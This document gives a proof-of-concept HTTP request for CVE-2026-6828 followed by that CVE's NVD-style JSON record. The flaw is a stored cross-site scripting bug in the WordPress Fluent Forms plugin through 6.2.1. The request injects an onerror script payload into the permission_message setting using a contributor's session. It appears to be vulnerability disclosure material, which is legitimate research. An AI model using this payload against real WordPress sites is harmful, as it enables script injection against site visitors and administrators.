CVE-2026-6828

/* * PoC for CVE-2026-6828 * Description: Stored XSS in Fluent Forms via permission_message parameter. * Usage: Send this request while authenticated as a Contributor or higher. */ POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target-wordpress-site.com Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: wordpress_logged_in_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx X-Requested-With: XMLHttpRequest action=fluentform_save_form_settings&form_id=1&settings[permission_message]=<img src=x onerror=alert('XSS')>

{"cve": {"id": "CVE-2026-6828", "sourceIdentifier": "[email protected]", "published": "2026-05-13T05:16:24.077", "lastModified": "2026-05-13T14:43:46.717", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'permission_message' parameter in all versions up to, and including, 6.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/fluentform/tags/6.1.20/app/Modules/Component/Component.php#L467", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fluentform/tags/6.1.20/app/Modules/Component/Component.php#L513", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fluentform/trunk/app/Modules/Component/Component.php#L467", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fluentform/trunk/app/Modules/Component/Component.php#L513", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3513845%40fluentform&new=3513845%40fluentform&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ce2d2594-e856-4249-9467-01c0fe1c0c71?source=cve", "source": "[email protected]"}]}}